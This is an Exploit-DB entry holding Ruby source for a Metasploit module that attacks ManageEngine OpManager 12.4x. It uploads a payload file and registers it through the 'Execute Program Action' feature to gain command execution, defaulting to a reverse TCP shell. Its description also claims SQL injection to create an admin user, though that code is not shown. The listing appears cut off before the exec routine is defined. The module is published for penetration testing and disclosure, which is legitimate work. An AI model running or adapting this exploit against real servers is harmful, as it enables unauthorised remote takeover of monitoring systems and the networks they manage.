Exploit-DB #47227
Description: ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2019-08-12
Author: AkkuS

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution",
      'Description'    => %q(
        This module exploits sqli and command injection vulnerability in the OpManager v12.4.034 and prior versions.
 
        Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation.
        Therefore low authority user can gain the authority of "system" on the server. 
        It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager Plugin.

        /////// This 0day has been published at DEFCON-AppSec Village. ///////

      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
        ],
      'References'     =>
        [
          [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Privilege-Escalation-Remote-Command-Execution.html' ]
        ],
      'DefaultOptions' =>
        {
          'WfsDelay' => 60,
          'RPORT' => 8060,
          'SSL' => false,
          'PAYLOAD' => 'generic/shell_reverse_tcp'
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Platform'       => ['unix', 'win'],
      'Targets' =>
        [
          [ 'Windows Target',
            {
              'Platform' => ['win'],
              'Arch' => ARCH_CMD,
            }
          ],
          [ 'Linux Target',
            {
              'Platform' => ['unix'],
              'Arch' => ARCH_CMD,
              'Payload' =>
                {
                  'Compat' =>
                    {
                      'PayloadType' => 'cmd',
                    }
                }
            }
          ]
        ],
      'DisclosureDate' => '10 August 2019 //DEFCON',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('USERNAME',  [true, 'OpManager Username']),
        OptString.new('PASSWORD',  [true, 'OpManager Password']),
        OptString.new('TARGETURI',  [true, 'Base path for ME application', '/'])
      ],self.class)
  end

  def check_platform(host, port, cookie)

    res = send_request_cgi(
      'rhost'   => host,
      'rport'   => port,
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'showTile.do'),
      'cookie'  => cookie,
      'vars_get' => {
        'TileName' => '.ExecProg',
        'haid' => 'null',
      }
    )
    if res && res.code == 200 && res.body.include?('createExecProgAction')
      @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
      if @dir =~ /:/
        platform = Msf::Module::Platform::Windows
      else 
        platform = Msf::Module::Platform::Unix
      end
    else
      fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
    end
    file_up(host, port, cookie, platform, @dir)
  end

  def file_up(host, port, cookie, platform, dir)
    if platform == Msf::Module::Platform::Windows
      filex = ".bat"
    else
      if payload.encoded =~ /sh/
        filex = ".sh"
      elsif payload.encoded =~ /perl/
        filex = ".pl"
      elsif payload.encoded =~ /awk 'BEGIN{/
        filex = ".sh"
      elsif payload.encoded =~ /python/
        filex = ".py"
      elsif payload.encoded =~ /ruby/
        filex = ".rb"
      else
        fail_with(Failure::Unknown, 'Payload type could not be checked!')
      end
    end
 
    @fname= rand_text_alpha(9 + rand(3)) + filex
    data = Rex::MIME::Message.new
    data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")
 
    res = send_request_cgi({
      'rhost'   => host,
      'rport'   => port,
      'method' => 'POST',    
      'data'  => data.to_s,
      'agent' => 'Mozilla',
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri, "Upload.do")     
    })
 
    if res && res.code == 200 && res.body.include?('icon_message_success')
      print_good("#{@fname} malicious file has been uploaded.")
      create_exec_prog(host, port, cookie, dir, @fname)
    else
      fail_with(Failure::Unknown, 'The file could not be uploaded!')
    end
  end

  def create_exec_prog(host, port, cookie, dir, fname)
 
    @display = rand_text_alphanumeric(7)
    res = send_request_cgi(
      'method'  => 'POST',
      'rhost'   => host,
      'rport'   => port,
      'uri'     =>  normalize_uri(target_uri.path, 'adminAction.do'),
      'cookie'  => cookie,
      'vars_post' => {
        'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
        'method' => 'createExecProgAction',
        'id' => 0,
        'displayname' => @display,
        'serversite' => 'local',
        'choosehost' => -2,
        'abortafter' => 5,
        'command' => fname,
        'execProgExecDir' => dir,
        'cancel' => 'false'
      }
    )
 
    if res && res.code == 200 && res.body.include?('icon_message_success')
      actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] 
      print_status("Transactions completed. Attempting to get a session...")
      exec(host, port, cookie, actionid)
    else
      fail_with(Failure::Unreachable, 'Connection error occurred!')
    end
  end